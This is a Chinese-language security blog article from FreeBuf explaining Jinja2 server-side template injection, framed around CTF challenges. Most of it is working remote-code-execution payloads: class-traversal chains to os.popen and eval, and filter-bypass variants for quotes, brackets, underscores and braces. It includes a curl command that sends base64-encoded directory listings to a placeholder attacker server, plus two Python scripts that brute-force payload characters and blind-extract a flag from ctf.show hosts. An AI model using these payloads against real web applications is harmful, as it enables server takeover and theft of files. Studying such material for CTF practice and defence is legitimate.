freeBuf
浅谈SSTI
2021-10-07 11:34:46

概述

模板引擎:

服务器端模板注入 Server-Side Template Injection

模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。

也就好比
image

在百度中 百度不同内容,页面的大体框架是不变的,改变的只是搜索的内容

就是动态与静态分离 当一个页面大部分是不动的小部分是动的基本是用了模板

模板引擎:服务端——模板文件—— 模板引擎—— 用户端

服务端把相应的模板文件和一些变量传递给模板引擎,模板引擎解析后再传给用户端 ,模板引擎只处理模板上的一些东西

服务端也只做后端把相应的模板文件传给模板引擎模板引擎在传给用户

模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这就大大提升了开发效率,良好的设计也使得代码重用变得更加容易。

漏洞原理

例如:

Python ssti

jinja2

render_template_string 方法来调用模板

image

跟开发的书写习惯,有关如果是先渲染再拼接,拼接的内容可能会被执行

但是先拼接再渲染,那内容就会被识别为字符串

类型识别

image

Twig{{7*'7'}}结果49 
jinja2{{7*'7'}}结果为7777777 
smarty7{*comment*}7为77

利用方式

模板引擎注入,就是对象,把对象实例化,然后利用函数执行命令

分隔符

{{}}:直接输出表达式的内容,{{7*7}}会输出49
{%%}:用于执行一些控制或者一些条件循环语句
{##}:用于注释模板文件的内容,其中包含的内容不会在页面输出`

image

image
image

SSTI的基本流程

获取某个类 -> 获取到类的基类:Object -> 获取其所有子类 -> 通过获取__globals__来获取os,file或其他能执行命令or读取文件的moudle

image

//获取对象类
''.__class__
<class 'str'>
().__class__
<class 'tuple'>
[].__class__
<class 'list'>
 "".__class__
<class 'str'>
//基类
{{''.__class__.__base__}} 类型对象的直接基类
{{''.__class__.__bases__}}类型对象的全部基类,以元组形式,类型的实例通常没有属性
{{''.__class__.__mro__}} 此属性是由类组成的元组,在方法解析期间会基于它来查找基类
//返回子类
"".__class__.__bases__[0].__subclasses__()
"".__class__.__mro__[-1].__subclasses__()

image

从返回的子类中找到可以利用的类

__ init__方法用于将对象实例化,

__ globals__获取function所处空间下可使用的module、方法以及所有变量。

__ import__动态加载类和函数,也就是导入模块,经常用于导入os模块

第一种 os执行

os模块提供了非常丰富的方法用来处理文件和目录

例如popen,system都可以执行命令

image

{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}

注意:__ subclasses __()[75]中的[75]是子类的位置,由于环境的不同类的位置也不同

第二种__builtins__代码执行

内建函数中eval open等等可以命令执行
image

{{().__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}

第三种python中的subprocess.Popen()使用

image

{{().__class__.__bases__[0].__subclasses__()[258](%27ls%27,shell=True,stdout=-1).communicate()[0]}}

循环语句

当不确定调用方法的位置时可以跑循环并利用

os

利用os执行命令: 利用for循环找到,os._wrap_close类

{%for i in ''.__class__.__base__.__subclasses__()%}
{%if i.__name__ =='_wrap_close'%}
{%print i.__init__.__globals__['popen']('cat flag').read()%}
{%endif%}
{%endfor%}

__ builtins__

利用builtins执行命令: 利用for循环找到,os.catch_warnings类

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("whoami").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

无回显带出

当界面无回显时可以考虑带出

curl

dnslog带出

http://www.dnslog.cn/

curlwhoami.xxxxxx

服务器带出

{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://xxxx:4000/ -d `ls /|base64`') %}1{% endif %}

不确定利用类的位置用bp爆破

image

发现58 59 缺失挨个试,最后实现执行

image

常用绕过

过滤单双引号

get 传参方式绕过

?name={{lipsum.__globals__.os.popen(request.args.ocean).read()}}&ocean =cat /flag
?name={{url_for.__globals__[request.args.a][request.args.b](request.args.c).read()}}&a=os&b=popen&c=cat /flag

字符串拼接绕过

(config.__str__()[2])
(config.__str__()[42])	

?name={{url_for.__globals__[(config.__str__()[2])%2B(config.__str__()[42])]}}
等于
?name={{url_for.__globals__['os']}}

通过chr拼接

?name={% set chr=url_for.__globals__.__builtins__.chr %}{% print  url_for.__globals__[chr(111)%2bchr(115)]%}

通过过滤器拼接

(()|select|string)[24]

过滤中括号[]

方法一:values传参

# values 没有被过滤

?name={{lipsum.__globals__.os.popen(request.values.ocean).read()}}&ocean=cat /flag

方法二:cookie传参

# cookie 可以使用

?name={{url_for.__globals__.os.popen(request.cookies.c).read()}}
Cookie:c=cat /flag

方法三:字符串拼接

中括号可以拿点绕过,拿__getitem__等绕过都可以

通过 __getitem__()构造任意字符,比如

?name={{config.__str__().__getitem__(22)}}   # 就是22

python 脚本

# anthor:秀儿

import requests
url="http://24d7f73c-6e64-4d9c-95a7-abe78558771a.chall.ctf.show:8080/?name={{config.__str__().__getitem__(%d)}}"

payload="cat /flag"
result=""
for j in payload:
    for i in range(0,1000):
        r=requests.get(url=url%(i))
        location=r.text.find("<h3>")
        word=r.text[location+4:location+5]
        if word==j:
            print("config.__str__().__getitem__(%d) == %s"%(i,j))
            result+="config.__str__().__getitem__(%d)~"%(i)
            break
print(result[:len(result)-1])
?name={{url_for.__globals__.os.popen(config.__str__().__getitem__(22)~config.__str__().__getitem__(40)~config.__str__().__getitem__(23)~config.__str__().__getitem__(7)~config.__str__().__getitem__(279)~config.__str__().__getitem__(4)~config.__str__().__getitem__(41)~config.__str__().__getitem__(40)~config.__str__().__getitem__(6)
).read()}}

过滤下划线

传参绕过检测

values 版

?name={{lipsum|attr(request.values.a)|attr(request.values.b)(request.values.c)|attr(request.values.d)(request.values.ocean)|attr(request.values.f)()}}&ocean=cat /flag&a=__globals__&b=__getitem__&c=os&d=popen&f=read

因为后端只检测 name 传参的部分,所以其他部分就可以传入任意字符,和 rce 绕过一样

cookie 简化版

?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}

cookie:a=__globals__;b=cat /flag

过滤os

?name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&b=os&c=cat /flag

过滤{{

方法一:{%绕过

只过滤了两个左括号,没有过滤 {%

?name={%print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read() %}&a=__globals__&b=os&c=cat /flag

方法二:{%%}盲注

open('/flag').read()是回显整个文件,但是read函数里加上参数:open('/flag').read(1),返回的就是读出所读的文件里的i个字符,以此类推,就可以盲注出了

# anthor:秀儿

import requests

url="http://3db27dbc-dccc-46d0-bc78-eff3fc21af74.chall.ctf.show:8080/"
flag=""
for i in range(1,100):
    for j in "abcdefghijklmnopqrstuvwxyz0123456789-{}":
        params={

            'name':"{

   {% set a=(lipsum|attr(request.values.a)).get(request.values.b).open(request.values.c).read({}) %}}{
   {% if a==request.values.d %}}feng{
   {% endif %}}".format(i),
            'a':'__globals__',
            'b':'__builtins__',
            'c':'/flag',
            'd':f'{flag+j}'
        }
        r=requests.get(url=url,params=params)
        if "feng" in r.text:
            flag+=j
            print(flag)
            if j=="}":
                exit()
            break

注意name那里用了{ {和}},这是因为我用的format格式化字符串,用{}来占位,如果里面本来就有{}的话,就需要用{ {}}来代替{}

本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
文章目录